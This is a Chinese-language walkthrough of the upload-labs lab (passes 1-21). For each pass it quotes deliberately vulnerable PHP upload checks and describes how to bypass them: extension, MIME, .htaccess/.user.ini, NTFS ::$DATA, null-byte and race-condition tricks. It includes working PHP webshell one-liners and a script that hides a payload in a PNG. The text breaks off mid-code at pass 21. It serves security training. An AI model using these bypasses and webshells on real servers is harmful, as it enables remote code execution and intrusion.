【upload-labs】文件上传通关攻略

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name) == -1) {
        var errMsg = "该文件不允许上传，请上传" + allow_ext + "类型的文件,当前文件类型为：" + ext_name;
        alert(errMsg);
        return false;
    }
}

在这一关中，当用户点击上传文件时，会触发一个点击事件，调研js中的函数checkFile，先判断有没有选择文件，然后设置允许上传文件的格式，通过最后一个“ . ”获取上传文件的后缀，然后判断其是否在允许上传的范围。

利用：

方法一：因为这是在用js代码在前端进行校验，我们可以直接利用插件禁用script绕过上传

方法二：也可以将上传的文件后缀修改为合法后缀，然后抓包修改为原来的后缀

pass-02 修改MIME类型

源码解析：

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '文件类型不正确，请重新上传！';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建！';
    }
}

在进行文件上传时，浏览器会设置一个请求头Content-Type对上传文件的类型进行说明，而这一关在后台中采用$_FILES['upload_file']['type']对文件上传的类型(Content-Type)进行校验

利用：

上传一个shell.php文件，将Content-Type的application/octet-stream改为image/jpeg，即可上传成功

查看upload文件夹也可以发现shell.php文件，即上传成功

pass-03 换后缀别名过滤

源码解析：

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.'); //去掉.加文件名称，只保留文件后缀
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//将file_ext中的字符串::$DATA替换成空
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

$deny_ext制定了黑名单，紧跟着六行将上传的文件后缀提取出来

$temp_file = $_FILES['upload_file']['tmp_name']获取文件被上传后在服务端储存的临时文件名

$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; 待修改文件名

if (move_uploaded_file($temp_file,$img_path)) 移动即为修改

利用：

可直接将php改为php5|phtml|phps|pht等

前提是apache的httpd.conf中有如下配置代码：
AddType application/x-httpd-php .php .phtml .phps .php5 .pht

另外，在upload文件夹上也可以看到上传成功的文件

pass-04 htaccess利用

源码解析：

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

这一关源码跟上一个类似，只不过黑名单的范围更大的，无法通过修改同义后缀直接进行文件上传

但是没有过滤htaccess，而当htaccess文件中存在以下配置时：

SetHandler application/x-httpd-php

会将所有的文件都当初php文件执行（前提条件：1.mod_rewrite模块开启。2.AllowOverride All）

利用：

1上传htaccess文件

2抓包修改htaccess，去掉前面的文件名

3利用成功

附：开启前提条件

Apache/conf/conf.httpd

pass-05 .user.ini利用

源码解析：

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

跟上一关类似，但这里将htaccess也过滤了，但是没有对文件进行复制式重命名，另外.ini文件也没有过滤

利用

1 上传一个.user.ini文件(用户自定义配置文件)，此文件内容为auto_propend_file=1.jpg，即所有的php文件都包含一个1.jpg文件

2 将webshell命名为1.jpg

3 利用readme.php（由于.user.ini的配置，使得readme.php包含了1.jpg，即一句话木马）

注意：.user.ini只有在fastCGI起作用，在apache下是没有用的

在phpstudy中修改为~~php+nginx~~php+nts+ngnix（两者都是CGI/FastCGI模式，但只要后面那个起作用）

关于CGI/fast CGI：图源：CGI、FastCGI和PHP-FPM关系图解 -php教程-PHP中文网

pass-06 大小写过滤

源码解析：

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

提示显示：本pass禁止上传： .php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess后缀文件！

与前面的源码相比，少了$file_ext = strtolower($file_ext); //转换为小写，虽然黑名单比较大，但还是可以上传后缀为phP* PHP* PHp* pHP* Php* 的文件

pass-07 空格过滤

源码解析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

与上面的源码相比，少了 $file_ext = trim($file_ext); //首尾去空 这一句，即可以看利用后缀加空绕过

这个时候需改为apache当容器，否则，打开上传的文件时会直接下载

利用

修改后缀时应该php后面加空格，否则，虽然能上传成功，但是无法利用，这是由于文件命名时会自动忽略最后的空格

pass-08 点过滤

源码解析：

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

与上面源码相比，少了 $file_name = deldot($file_name);//删除文件名末尾的点 即后面根据 . 将后缀和文件名划分无效，这就使得无法过滤后缀

利用：随意上传webshell，后面添加一个 . 就行了，即匹配黑名单时是php. 完美过滤

在upload上 .自动消失(windows特征，重命名后缀加.会自动消失)

pass-09 ::$DATA过滤

源码解析：

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

与上面的源码相比，少了 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理，由于没有去掉::$DATA，最后会过滤成php::$DATA与黑名单比较

在pass-08中，如果直接加::$DATA 不能绕过，因为去掉::$DATA就是php，这会直接匹配黑名单

如果加.::$DATA 可以上传成功，这个时候就是上传一个php.文件但是这与直接加.不一样，不会自动将.消失，反而成为一个很诡异的文件，不能删除，不能打开（直接说此文件不存在）

当然，这里不探讨太多，在这一题中，因为，可以添加抓包修改webshell，原文件后缀后面添加::$DATA，最后提取出来的后缀变成php::$DATA（缺失的一句代码就是影响这里）即可绕过黑名单，但因为::$DATA后面是信息流，保存至服务器时就变成正常的php文件

pass-10 点空格绕过

源码分析

        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.'); #一个字符串在另外一个字符串最后一次出现的位置，并返回该字符后（包含该字符串）的字符串
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        }

首先将原文件名去掉空格，去掉末尾的点，得到file_name

在file_name的基础上，获取最后一个.开始的字符串，去掉::$DATA和空格

利用

依据上面分析，为了使.php逃出过滤，可构造文件名.php. .即原后缀点空格(空后缀)点(应对deldot)

这个时候，file_name出来是.php.空格 file_ext出来是.空格逃出黑名单

在Windows中.空格会消失

但是，没有空格，点也会消失，不要空格好像也可以，file_ext出来是点，可以逃出来，file_name是原后缀加点，点一样也会消失，我们试一下

原因是这样的，deldot(自定义函数)是去掉末尾所有连续的点，而不是只去掉一个

function deldot($s){
	for($i = strlen($s)-1;$i>0;$i--){
		$c = substr($s,$i,1);
		if($i == strlen($s)-1 and $c != '.'){
			return $s;
		}

		if($c != '.'){
			return substr($s,0,$i+1);
		}
	}
}

pass-11 双写绕过

源码分析

    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name); //匹配过滤
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }

从这题开始，源码变化很大，这里很明显是将符合黑名单的后缀匹配去掉，直接双写利用就行了

利用

str_ireplace是不区分大小写的，所有这里大小写混合过滤无效

pass-12 %00截断

源码分析：

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); //获取最后一个点后一位开始的字符串
    if(in_array($file_ext,$ext_arr)){ //是否在白名单内
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传失败";
        }
    } else {
        $msg = "只允许上传.jpg|.png|.gif类型文件！";
    }

strstr 返回该字符(串)首次出现到字符串尾部分，包括该字符(串)。
strstr 返回该字符(串)最后出现到字符串尾部分，包括该字符(串)。
strpos 返回某个字符串第一次出现的位置
strrpos 返回某个字符串最后出现的位置

与前面不一样，这里就变成白名单了

这里需要%00截断的知识点，条件为

（1）php版本必须小于5.3.4
（2）打开php的配置文件php-ini，将magic_quotes_gpc设置为Off

截断符%00 \0 0x00

pass-13 00截断

跟上面一样，只不过将GET改成POST，不作过多描述

不一样的是，这里采用的是00截断

pass-14 图片马：检查文件头字

源码分析

    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);   //将二进制解包，生成chars1 chars2数组 
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']); //获取整型数据   
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;

这里会读取文件的前两个字节，并转换成整型，以此判断是否是图片

故无需理会后缀，也不用考核直接把php修改成jpg等在文件包含利用

利用：

1 直接在图片文件后面加上webshell

2 上传php文件，增加图片前面两个字节的内容，如这里的GIF89a是gif文件前面几个字节的内容

pass-15 图片马：getimagesize

源码解析：

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename); //获取图像信息，不仅仅是大小
        $ext = image_type_to_extension($info[2]);  //数组分别为高度 宽度 类型 属性 这里info[2]为类型
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

getimagesize获取图像信息

利用

上一题直接在图片后面添加代码，可能是破坏是图片完整性（因为这个图片不能正常打开，有可能也会正常显示，看人品）

所以这里不能那么简单粗暴了

上传利用

pass-16 图片马：exif_imagetype

源码分析

function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

跟上两题一样，就是检查逻辑不一样，直接利用上一题的文件上传

pass-17 二次渲染

源码分析：

    // 获得上传文件的基本信息，文件名，类型，大小，临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型，合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片！";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片（使用用户上传图片生成的新图片）
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错！";
        }

这里imagecreatefromjpeg方法对图片进行了二次渲染，注意一下这个是php函数，不是自定义的

而这个函数只是对部门图片数据进行更改，我们要做的，就是分析出哪块不会更改

利用

1 上传一个图片马，文件包含打开，php语句没有执行

2 将图片另存下来，利用flexHEX对比两者

找到php语句，并将其对应的16进制写入到不会改变的前25字节中

保存再次上传，上传失败，这是由于证明是png文件的字节已经被我修改了。

换个格式要求没那么严格的gif文件尝试一下，发现可以成功上传并利用

对于png文件：

下面先对png文件格式作简单介绍

php在二次渲染时并不会对PLTE数据块进行修改，仅做CRC校验，但是需要IHDR中的color type为03（这种方法失败率比较高，特别是没有PLTE数据块的png文件）

此外，有大神写出了一个生成图片脚本，此图片不会被二次渲染函数改变

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

执行后生成图片

且其被渲染后也不会改变

注：在<?=$_GET[0]($_POST[1]); >中

<?= ?> 相当于<? echo ?>

$_GET不能传入eval 可以传入assert

jpg也采用大神的脚本Upload-Labs第Pass-16通关（二次渲染绕过）详解 - 付杰博客 (fujieace.com)

pass-18 条件竞争1

源码分析

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];  //上传过程中存放的临时文件
    $file_ext = substr($file_name,strrpos($file_name,".")+1); //获取后缀
    $upload_file = UPLOAD_PATH . '/' . $file_name; //原文件名

    { //先上传
        if(in_array($file_ext,$ext_arr)){  //再判断是否在黑名单内
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);  //原文件名替换成新文件名
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件！";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错！';
    }
}

在这题中，先将文件上传到upload目录中，然后再判断是否在黑名单中，如果不在，则重命名，如果在黑名单内，则删除

利用

这里主要是在从上传到upload目录中再判断是否在黑名单内的间隙中及时进行利用，而为了能持久性利用，在这个时间间隙中还应该写入一个新的webshell，这样就算我们上传的文件被删除了还是可以继续利用的。

1 构造pass18.php

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["x"])?>’);?>

这个语句是指当访问pass18.php时，就会像写入一个shell.php

2 利用burpsuite不断发送上传pass18.php的请求

3 利用python构造不断请求pass18.php的脚本，请求返回200结束

4 有时候python成功请求了，但并不代表顺利写入shell.php,多次几遍。最后访问shell.php

pass-19 条件竞争2+解析漏洞

源码分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传，但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败，上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败，无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败，上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败，服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传，文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误！';
            break;
    }
}

//myupload.php
class MyUpload{
......
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );
......
  function upload( $dir ){    
    $ret = $this->isUploadedFile();    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }
    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }
    $ret = $this->checkExtension();  //检查后缀
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }
    $ret = $this->checkSize();   //检查文件大小
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }   
    if( $this->cls_file_exists == 1 ){  //是否已存在   
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    $ret = $this->move();  //移动文件
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    if( $this->cls_rename_file == 1 ){   //重命名
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    return $this->resultUpload( "SUCCESS" );  
  }
......
};

上述代码逻辑是先检查后缀，再移动，然后重命名

（其实这一题可以通过上传图片马+文件包含进行利用）

在apache1.x和apache2.x中，多个文件后缀且遇到不认识的后缀时会从后往前解析，在上面过程中，以上传一个shell.php.7z为例

检查后缀、移动文件直到重命名前都是shell.php.7z

重命名后变成xxxxxx.7z

若想利用apache解析漏洞，必须在重命名前进行，所以这里也利用了条件竞争的思路，具体做法与上一题一样，主要是利用apache解析漏洞，这里不多做解释

pass-20 斜杠点绕过

源码分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);//获取扩展名

        if(!in_array($file_ext,$deny_ext)) { //验证后缀
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { //移动 上传
                $is_upload = true;
            }else{
                $msg = '上传出错！';
            }
        }else{
            $msg = '禁止保存为该类型文件！';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

这里通过POST接收save_name，并为最终保存结果

pathinfo($file_name,PATHINFO_EXTENSION)为获取扩展名函数

利用

move_uploaded_file()会忽略文件名后面的/.

修改包

最后在服务器上会以upload-20.php存在，注意，修改成upload.php/不行的

另外，随便上传一个后缀文件，可以通过文件包含的形式利用

这里网上有博客说可以进行POST方式的00截断，我认为应该是可以的，但是我没有成功上传

pass-21 斜杠点+数组绕过

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];  //如果没有提交POST数据save_name规定命名 直接拿上传的文件原命名
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file); //取最后一个值
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1]; //加了个点 取POST的save_name[conut($file)-1],这里应该是想办法变为空
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功！";
                $is_upload = true;
            } else {
                $msg = "文件上传失败！";
            }
        }
    }
}else{
